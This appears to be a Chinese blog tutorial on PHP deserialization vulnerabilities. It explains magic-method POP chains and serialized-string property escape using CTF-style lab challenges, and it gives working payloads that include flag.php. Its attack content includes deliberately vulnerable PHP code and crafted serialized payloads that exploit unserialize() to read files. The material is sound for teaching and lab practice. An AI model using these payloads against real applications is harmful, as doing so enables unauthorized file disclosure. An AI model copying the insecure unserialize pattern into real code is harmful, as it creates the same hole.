当前位置: 首页 > news >正文

反序列化漏洞(二)

目录

pop链前置知识,魔术方法触发规则

pop构造链解释(开始烧脑了)

字符串逃逸基础 字符减少

字符串逃逸基础 字符增加

实例获取flag

字符串增多逃逸

字符串减少逃逸


延续反序列化漏洞(一)的内容

pop链前置知识,魔术方法触发规则

魔术方法触发前提:魔术方法所在类(或对象)被调用

类的反序列化的时候 只会触发当前类中的魔术方法 和其他类无关

很好理解 C类被反序列化后得到对象A 其值从序列化的字符串中得到 但是对象A如果触发魔术方法只能触发C类中的魔术方法 ,在这里也说一下,如果字符串中有某一类,反序列化后 系统会认为该对象属于这个类

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo  $this->source;}
}
class sec {var $benben;public function __tostring(){echo "tostring is here!!";//这是目标}
}
$b = $_GET['benben'];
unserialize($b);
?>

目标:触发__tostring魔术方法

这题的很简单 如果想调用wakeup方法 必须反序列化fast类 并且满足wakeup魔术方法的触发条件 这样才能自动调用魔术方法,目标是触发tostring,让source是个对象 就能触发tostring,让source成为sec类的对象 并把对象当成字符串调用就能触发tostring

手工制作:pocO:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

修改源码生成序列化的字符串(poc)
构造poc后 代码执行顺序就是反序列化poc(可以理解为反序列化fast类的序列化的字符串)从而触发wakeup魔术方法 从而执行echo输出source 这是的source已经是sec对象了 echo以字符串形式输出source 就出发了sec类中的tostring魔术方法
注意 wakeup限制性 当执行到echo语句的时候 就将sec实例化成source这个对象了 从而达成了漏洞利用

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {public $source;
}
class sec {var $benben;
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>

将poc进行传参 成功调用__tostring魔术方法


pop构造链解释(开始烧脑了)

说是烧脑 我感觉不难

pop链构造 poc编写

pop链:在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫"面向属性编程"即POP

POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据

大白话:通过修改序列化的字符串里的属性值从而使多个魔术方法多次跳转得到敏感数据(整个过程是POP链最终得到的是POC)

POC编写

在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码

例题

获取flag 提示flag在flag.php中

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>

构造pop链反推法:

1.需要找到include函数才能包含一个flag.php的文件 并发现下一条语句为输出flag 所在方法为append include参数通过appen方法传进来

2.找到调用append方法的魔术方法__invoke append参数的值通过当前类属性var中来 所以要将var值设为flag.php

3 看哪里调用了__invoke魔术方法  发现test类中的__get魔术方法会触发 设置p为__invoke所在类的对象 

4 看哪里调用了__get魔术方法 show类中的__tostring魔术方法会触发 设置str为__get所在类的对象

5看哪里调用了__tostring魔术方法 在当前类的__wakeup会触发 将source设置成当前类的对象

6 看哪里触发了__wakeup 在GET传参后如果反序列化show类会触发__wakeup

得出pop链顺序

构造poc 就需要将顺序调过来

这种pop链的poc最好就不要用手工构造的方式 比较麻烦

手工构造

?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

使用源代码构造

第一步

<?php
class Modifier {private $var;//var是flag.php
}
class Show{public $source;//自己类的对象public $str;//test类对象
}class Test{public $p;//Modifier对象
}
$a
?>

第二步

<?php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {private $var="flag.php";//var是flag.php 私有属性只能在类里定义
}
class Show{public $source;//自己类的对象public $str;//test类对象
}class Test{public $p;//Modifier对象
}
$a=new Modifier();
$b=new Show();
$c=new Test();
$b->source=$b;
$b->str=$c;
$c->p=$a;
echo serialize($b);
?>

输出得到poc

到这里我出现问题了 我测试检查了一个小时 我的poc和老师一摸一样 但是 我测试发现代码执行到__get处没有出发invoke poc和老师的一摸一样 不知道什么原因 然后我把靶场php版本切换到7.0以上就好使了 哈哈

成功获取flag


字符串逃逸基础 字符减少

反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:一般再数据先经过一次serialize再经过unserialize,本来如果有两个属性 但是在其中一个属性的值中构造poc 再通过特定原因 这时反序列化就能出来三个属性

有四点反序列化的知识的基础

1 虽然反序列化的对象A的值从序列化的字符串中来,但是如果字符串中有v1 v2 属性 类A里面还有一个只有v3属性 反序列化的时候系统会认为这就是类A的对象 字符串已经定义了v1v2 系统发现没有v3呢? 然后就加上去了 切记无论类里面定没定义属性值 只要是字符串定义了值 对象A的值都是从字符串中定义的值来 字符串要是没定义 那就从原有类中得来

举个例子O:4:"Show":2:{s:6:"source";r:1;}

2  这2个属性必须要和字符串的属性数目对应

3  这6个字符串长度 必须也要和属性名长度对应

4 a\"b字符串长度就是3 通过s:3来确定的 所以必须要和属性名或值的长度对应 要不然不知道这个双引号是字符还是 功能符

以上就算是前置知识了

属性逃逸刚刚原理说的比较含糊 直接上例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{public $v1 = "abcsystem()system()system()";public $v2 = '123456789';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

以前都是直接传一个需要反序列化的参数 为了出发方法而达到我们想要的目的

但是字符串逃逸属于 明明类中有2个属性 我们如何构造成3个属性呢(这个时候 有人就想 直接修改字符串加上第三个属性得了呗 但是这道题没有修改字符串的条件 只让你传属性一和属性二的参数)


得出O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:9:"123456789";}
$data = str_replace("system()","",$data);

//在这如果把system()去除 因为原有的长度是27 现在只剩下adc三个字符串了 前面也说了这个s:27这个长度要和值对应 所以他会继续往下走把后面的字符也当成这个v1的值标红的(这个时候会报错 因为反序列化往下执行后发现这个值末尾没有双引号呀)

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123456789";}

这个时候我们就要构造v2的属性的值(poc)

v2 = '1234567";s:2:"v3";s:3:"123";}'

这个时候正常序列化的值为 红色的为属性值

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}

去除了system()后

{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}

如果把v2的值去除最后的分号和花括号还有双引号也对

v2 = '1234567";s:2:"v3";s:3:"123'

{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:3:"123";}";}

在反序列化的时候核查到有2(紫色标注的)个属性 所以他会自动向下执行这个时候就多出了一个v3的属性

这样反序列化就出现了3个属性 

属性v1的值就是abc";s:2:"v2";s:28:"1234567

属性v2的值就是原有的123456789

属性v3的值就是123

该对象的值v1v3从字符串中获得 v2从类中获得

这个时候肯定有人想在序列化的时候不是以及给v2赋了一个新值嘛 为什么这里还是123456789

因为 序列化只是为了按照要求生成指定的字符串 的确生成了包含v2指定值的字符串 但是序列化结束后,类原有的样子是不变的,只有那个字符串里面有一个v2的属性 并且值为指定的

最终成功

反序列化字符串减少逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码


字符串逃逸基础 字符增加

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

字符串逃逸基础

字符串增多

演示代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{public $v1 = 'ls';public $v2 = '123';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data =  serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);var_dump(unserialize($data));

他将ls换成了pwd 

我们想让反序列化识别的字符串 ";s:2:"v3";s:3:"666";}一共22个位置

该代码中将ls替换为pwd 一个ls就能吐出一个位置来 需要22个ls才可以

构造v1参数的值为 lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}

正常情况

替换的情况

把ls替换成pwd后字符串就变成了88 pwd占了66个位置 这个时候正好";s:3:"v3";s:3:"666";}逃逸出来

"用于包裹pwd的字符串 系统往下识别就识别出了v3属性 并且看到了;}就停止了反序列化 具体细节和减少逃逸一个道理没啥区别 不细说了


实例获取flag

字符串增多逃逸

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];
$param=serialize(new test($param));//test类进行实例化为param对象 并对类中的user赋值为获得的参数 
// 序列化后值为 $param=O:4:"test":2:{s:4:"user";s:?:"";s:4:"pass";s:8:"daydream";}
$profile=unserialize(filter($param));
//将对象传入filter函数 函数内容是如果对象中国存在flag或者php替换成hack(感觉没啥用呢) ,现在发现有用了 将php替换成hack 一个php就能多出一个位置来
//之后返回该对象并反序列化 在反序列化的过程中要把pass的值设置为escaping
//这样一来我们就需要在序列化的字符串中参数user处构造poc
//如果pass的值为escaping 那么序列化的样子就是 s:4:"pass";s:8:"escaping"; ->-> ";s:4:"pass";s:8:"escaping";}
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}    ........";s:4:"pass";s:8:"daydream";}
//现在有116个字符串 将php换成hack后变成145个字符串 正好";s:4:"pass";s:8:"escaping";"}就逃逸出来了
if ($profile->pass=='escaping'){ echo file_get_contents("flag.php");
}
?>

传参后成功


字符串减少逃逸

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);//匹配如果存在safe数组的值 替换成hkreturn $name;
}
class test{var $user;var $pass;var $vip = false ;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}
$param=$_GET['user'];//传入两个参数
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));//实例化test类并序列化赋值给param对象 在实例化的过程//中将传入的两个参数赋值给属性user和pass
//";s:3:"vip";s:4"true";}
//s:4:"user";s:?:"";s:4:"pass";s:xx:"(";s:3:"vip";s:4"true";})";//use:flagflagflagflagflagflagflagflagflagphp
//pass:";s:3:"vip";s:4"true";}
$profile=unserialize(filter($param));//将字符串作为参数传给函数filter 将返回值反序列化if ($profile->vip){echo file_get_contents("flag.php");
}
?>

按照代码中的注释我去验证poc发现竟然后去不到flag 研究了很久很久 

最后发现他在实例化的时候 把原有类中的vip也给实例化了这样实例化的字符串会有3个属性

O:4:"test":3:{...}

当时我以为传参user和pass只会实例化为两个属性 忘记了他会自动把类中的vip也进行实例化

就当成O:4:"test":2:{...} 构造完 发现没问题呀就是不出flag 给我气完了 真的这么简单我就然没想到 以后还得更加认真一点

正确的poc

?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

成功

相关文章:

反序列化漏洞(二)

目录 pop链前置知识&#xff0c;魔术方法触发规则 pop构造链解释&#xff08;开始烧脑了&#xff09; 字符串逃逸基础 字符减少 字符串逃逸基础 字符增加 实例获取flag 字符串增多逃逸 字符串减少逃逸 延续反序列化漏洞(一)的内容 pop链前置知识&#xff0c;魔术方法触…...

【开箱即用】前后端同时开源!周末和AI用Go语言共同研发了一款笔记留言小程序!

大家好&#xff0c;我是豆小匠。 真的是当你在怀疑AI会不会取代人类的时候&#xff0c;别人已经用AI工具加速几倍的生产速度了… 周末体验了和AI共同开发的感受&#xff0c;小项目真的可以一人全干了… 本次实验使用的AI工具有两个&#xff1a;1. GitHub Copilot&#xff08;…...

java对xml压缩

import java.util.*; import java.util.zip.GZIPOutputStream; import java.nio.charset.StandardCharsets; import org.apache.commons.codec.binary.Base64;/*** 模板压缩** param xml 模板xml* return* throws Exception*/public static String businessData(String xml) th…...

GoLang切片

一、切片基础 1、切片的定义 切片&#xff08;Slice&#xff09;是一个拥有相同类型元素的可变长度的序列它是基于数组类型做的一层封装它非常灵活&#xff0c;支持自动扩容切片是一个引用类型&#xff0c;它的内部结构包含地址、长度和容量声明切片类型的基本语法如下&#…...

前端入门(四)Ajax、Promise异步、Axios通信、vue-router路由、组件库

文章目录 AjaxAjax特点 Promise 异步编程&#xff08;缺&#xff09;Promise基本使用状态 - PromiseState结果 - PromiseResult AxiosVue中使用AxiosAxios请求方式getpostput和patchdelete并发请求 Vue路由 - vue-router单页面Web应用&#xff08;single page web application&…...

正则表达式回溯陷阱

一、匹配场景 判断一个句子是不是正规英文句子 text "I am a student" 一个正常的英文句子如上&#xff0c;英文单词 空格隔开 英文单词 多个英文字符 [a-zA-Z] 空格用 \s 表示 那么一个句子就是单词 空格&#xff08;一个或者多个&#xff0c;最后那个单词…...

MATLAB实战 | S函数的设计与应用

S函数用于开发新的Simulink通用功能模块&#xff0c;是一种对模块库进行扩展的工具。S函数可以采用MATLAB语言、C、C、FORTRAN、Ada等语言编写。在S函数中使用文本方式输入公式、方程&#xff0c;非常适合复杂动态系统的数学描述&#xff0c;并且在仿真过程中可以对仿真进行更精…...

Day41 使用listwidget制作简易图片播放器

1.简介 使用QlistWidget实现简易图片播放器&#xff0c;可以打开一个图片序列&#xff0c;通过item的单击事件实现图片的切换&#xff0c;通过设置list的各种属性实现图片预览的显示&#xff0c;美化滚动条即可实现一个简易图片播放器。 2.效果 3.实现步骤&#xff1a; 1.初始…...

matlab 基于卡尔曼滤波的GPS-INS的数据融合的导航

1、内容简介 略 25-可以交流、咨询、答疑 2、内容说明 基于卡尔曼滤波的GPS-INS的数据融合的导航 "基于卡尔曼滤波的GPS-INS的数据融合的导航 基于卡尔曼滤波实现GPS-INS组合导航系统" 卡尔曼滤波、GPS、INS、数据融合、导航 3、仿真分析 4、参考论文 略 …...

vivado实现分析与收敛技巧6-策略建议

典型时序收敛策略需运行大量实现策略并选取其中最佳的策略以供在实验室内应用。 ML 策略同样可选 &#xff0c; 且只需您运行3 项策略即可达成类似的 QoR 收益。这些策略使用机器学习来检验布线后设计的各项功能特性 &#xff0c; 以便预测相同设计上不同策略的性能。在 repo…...

SOCKET、TCP、HTTP之间的区别与联系

SOCKET、TCP、HTTP之间的区别与联系 一、 Socket 1、什么是socket2、为什么需要socket3、建立socket连接 二、HTTP(基于TCP) 1、HTTP的概念2、HTTP连接的特点 连接请求&#xff1a;一次连接连接请求&#xff1a;短连接(socket是长连接) 三、TCP/IP协议簇 四、HTTP、Socket…...

javascript的Proxy

1. 什么是Proxy Proxy是ES6中新增的一个特性&#xff0c;它可以拦截对象的操作&#xff0c;提供了一个中间层来控制对目标对象的访问。简单来说&#xff0c;它可以对对象进行代理&#xff0c;从而实现对对象的监控、修改、过滤等操作。 2. 为什么出现Proxy 在JavaScript中&a…...

Python发送微信模板消息

1、根据appid,secret获取token 2、查找粉丝 3、指定模板及粉丝id发送模板消息 4、链接SqlServer数据库获取消息任务 5、创建定时任务监听消息 from logging import exception import time import pymysql import datetime; from utils.http_utils import *; from model.msg_wx_…...

springboot(ssm医院门诊信息管理系统 医院管理平台Java(codeLW)

springboot(ssm医院门诊信息管理系统 医院管理平台Java(code&LW) 开发语言&#xff1a;Java 框架&#xff1a;ssm/springboot vue JDK版本&#xff1a;JDK1.8&#xff08;或11&#xff09; 服务器&#xff1a;tomcat 数据库&#xff1a;mysql 5.7&#xff08;或8.0&am…...

css所有属性介绍

文章目录 1️⃣ CSS属性介绍1.1 CSS3 动画属性&#xff08;Animation&#xff09;1.2 CSS 背景属性&#xff08;Background&#xff09;1.3 CSS 边框属性&#xff08;Border 和 Outline&#xff09;1.4 Box 属性1.5 Color 属性1.6 Content for Paged Media 属性1.7 CSS 尺寸属性…...

C#语言高阶开发

目录 数据结构 集合 动态数组ArrayList 习题&#xff1a;声明一个Monster类&#xff0c;有一个Attack方法,用一个ArrayList去封装Monster的对象,装10个&#xff0c;遍历monster的list让他们释放攻击方法 哈希表HashTable 创建一个武器类&#xff0c;有一个属性叫做id,每个…...

使用Qt Designer设计水平布局,加addStretch()不起作用,解决办法?

解决办法&#xff1a; 将main函数中的MainWindow.show()改为&#xff1a;ui.show() if __name____main__:app QApplication(sys.argv)MainWindow QMainWindow()ui Ui_MainWindow()ui.setupUi(MainWindow)ui.show()app.exec()完整代码&#xff1a; import sysfrom PyQt5 i…...

数据结构:带头双向循环链表的实现

引言 单链表存在缺陷&#xff1a;需要从头开始找前一个节点 解决方法&#xff1a;双向链表 链表的结构&#xff08;8种&#xff09;&#xff1a; 1. 单向&#xff0c;双向 2. 带头、不带头 带头即为带哨兵位的头节点&#xff0c;第一个节点不存储有效数据。带头节点&#…...

最小生成树(Minimum Spanning Tree)及生成MST的几种方法

最小生成树 (Minimum Spanning Tree) 最小生成树是图论领域的一个基本概念&#xff0c;适用于加权连通图&#xff0c;其中包括若干顶点&#xff08;节点&#xff09;以及连接这些顶点的边&#xff08;边可以有权重&#xff09;。在一个加权连通图中&#xff0c;生成树&#xf…...

逻辑漏洞 暴力破解(DVWA靶场)与验证码安全 (pikachu靶场) 全网最详解包含代码审计

逻辑漏洞 暴力破解(DVWA靶场)与验证码安全 (pikachu靶场) 全网最详解包含代码审计 0x01 前言 在当今互联网的广袤世界中&#xff0c;各式交互平台层出不穷。每一个交互平台几乎都要求用户注册账号&#xff0c;而这些账号则成为我们在数字世界中的身份象征。账号的安全性变得至…...

变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析

一、变量声明设计&#xff1a;let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性&#xff0c;这种设计体现了语言的核心哲学。以下是深度解析&#xff1a; 1.1 设计理念剖析 安全优先原则&#xff1a;默认不可变强制开发者明确声明意图 let x 5; …...

云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?

大家好&#xff0c;欢迎来到《云原生核心技术》系列的第七篇&#xff01; 在上一篇&#xff0c;我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在&#xff0c;我们就像一个拥有了一块崭新数字土地的农场主&#xff0c;是时…...

2.Vue编写一个app

1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

【2025年】解决Burpsuite抓不到https包的问题

环境&#xff1a;windows11 burpsuite:2025.5 在抓取https网站时&#xff0c;burpsuite抓取不到https数据包&#xff0c;只显示&#xff1a; 解决该问题只需如下三个步骤&#xff1a; 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

Web 架构之 CDN 加速原理与落地实践

文章目录 一、思维导图二、正文内容&#xff08;一&#xff09;CDN 基础概念1. 定义2. 组成部分 &#xff08;二&#xff09;CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 &#xff08;三&#xff09;CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 &#xf…...

CSS设置元素的宽度根据其内容自动调整

width: fit-content 是 CSS 中的一个属性值&#xff0c;用于设置元素的宽度根据其内容自动调整&#xff0c;确保宽度刚好容纳内容而不会超出。 效果对比 默认情况&#xff08;width: auto&#xff09;&#xff1a; 块级元素&#xff08;如 <div>&#xff09;会占满父容器…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表

##鸿蒙核心技术##运动开发##Sensor Service Kit&#xff08;传感器服务&#xff09;# 前言 在运动类应用中&#xff0c;运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据&#xff0c;如配速、距离、卡路里消耗等&#xff0c;用户可以更清晰…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

人工智能--安全大模型训练计划:基于Fine-tuning + LLM Agent

安全大模型训练计划&#xff1a;基于Fine-tuning LLM Agent 1. 构建高质量安全数据集 目标&#xff1a;为安全大模型创建高质量、去偏、符合伦理的训练数据集&#xff0c;涵盖安全相关任务&#xff08;如有害内容检测、隐私保护、道德推理等&#xff09;。 1.1 数据收集 描…...

uniapp 小程序 学习(一)

利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 &#xff1a;开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置&#xff0c;将微信开发者工具放入到Hbuilder中&#xff0c; 打开后出现 如下 bug 解…...